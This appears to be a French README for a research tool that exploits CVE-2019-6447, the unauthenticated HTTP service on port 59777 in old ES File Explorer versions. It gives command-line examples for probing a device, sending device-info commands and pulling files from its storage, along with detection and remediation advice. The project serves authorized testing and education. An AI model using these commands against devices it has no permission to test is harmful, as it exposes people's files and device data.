
Harnais d'analyse technique et de recherche sécurisée pour CVE-2019-6447 dans ES File Explorer pour Android
Un outil de recherche et d'analyse technique implémenté de manière indépendante et soucieux de la sécurité pour CVE-2019-6447, un service HTTP non authentifié exposé par les versions vulnérables d'ES File Explorer pour Android.
Recherche autorisée uniquement. N'utilisez ce projet que sur des appareils vous appartenant ou pour lesquels vous avez une autorisation explicite de test. L'interface en ligne de commande par défaut effectue une sonde TCP non invasive. Les opérations qui demandent des données ou des fichiers de l'appareil nécessitent un indicateur d'autorisation de laboratoire explicite.
| Propriété | Valeur |
|---|---|
| Produit concerné | ES File Explorer File Manager pour Android |
| Versions concernées | 4.1.9.7.4 et antérieures |
| Service exposé | Serveur HTTP non authentifié sur TCP/59777 |
| Condition préalable d'attaque | Proximité réseau avec l'appareil Android |
| Impact | Énumération de l'appareil/des applications, lecture de fichiers arbitraire et lancement d'applications |
| Faiblesse racine | CWE-306 — Absence d'authentification pour une fonction critique |
| Sévérité NVD | CVSS 3.1 : 8.1 Élevé (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
Une fois l'application lancée, le service intégré peut rester accessible sur le réseau Wi-Fi local. Il accepte des commandes JSON sans authentifier l'appelant. Cela transforme une interface de gestion interne en une surface d'attaque accessible via le réseau.
flowchart LR
A["Attaquant du réseau adjacent"] -->|"HTTP POST / TCP 59777"| B["Service HTTP ES intégré"]
B --> C["Répartiteur de commandes"]
C --> D["Métadonnées de l'appareil et des applications"]
C --> E["Fichiers de stockage partagé"]
C --> F["Lancement d'application Android"]
Pour l'analyse complète, voir docs/technical-analysis.md.
git clone https://github.com/acloudinthebluesky/CVE-2019-6447-ES-File-Explorer.git
cd CVE-2019-6447-ES-File-Explorer
python3 -m venv .venv
source .venv/bin/activate
python -m pip install -e .
esfile-6447 probe --target 192.168.56.10
Cela tente uniquement une connexion TCP vers le port 59777. Un port ouvert n'est pas, en soi, une preuve que la cible est vulnérable.
esfile-6447 command \
--target 192.168.56.10 \
--name getDeviceInfo \
--i-understand-this-is-an-authorized-lab
esfile-6447 pull \
--target 192.168.56.10 \
--remote-path /sdcard/lab-marker.txt \
--output ./evidence/lab-marker.txt \
--i-understand-this-is-an-authorized-lab
Utilisez uniquement des fichiers synthétiques. Ne collectez pas de données personnelles comme preuve d'impact.
Les défenseurs peuvent rechercher des écouteurs inattendus sur TCP/59777 et des requêtes HTTP contenant des champs command JSON. Les contrôles réseau peuvent réduire l'exposition, mais la solution durable consiste à supprimer ou à mettre à niveau l'application vulnérable. Les services de gestion intégrés doivent se lier à l'interface loopback à moins que l'accès distant ne soit essentiel, authentifier chaque requête, autoriser chaque opération et se terminer lorsqu'ils ne sont plus nécessaires.
python -m unittest discover -s tests -v
Les tests démarrent un serveur HTTP simulé en boucle locale uniquement. Ils ne contactent pas d'hôtes externes.
Ce projet est destiné à la validation défensive, à l'éducation et à la recherche autorisée sur les vulnérabilités. Il omet délibérément l'analyse de sous-réseaux et par défaut effectue une sonde de connectivité uniquement. Accéder à un appareil sans autorisation peut enfreindre la loi et les politiques, même si aucun fichier n'est conservé.
La découverte de la vulnérabilité et la preuve de concept publique originale sont attribuées aux chercheurs mentionnés ci-dessus. L'implémentation dans ce dépôt est une réimplémentation éducative indépendante.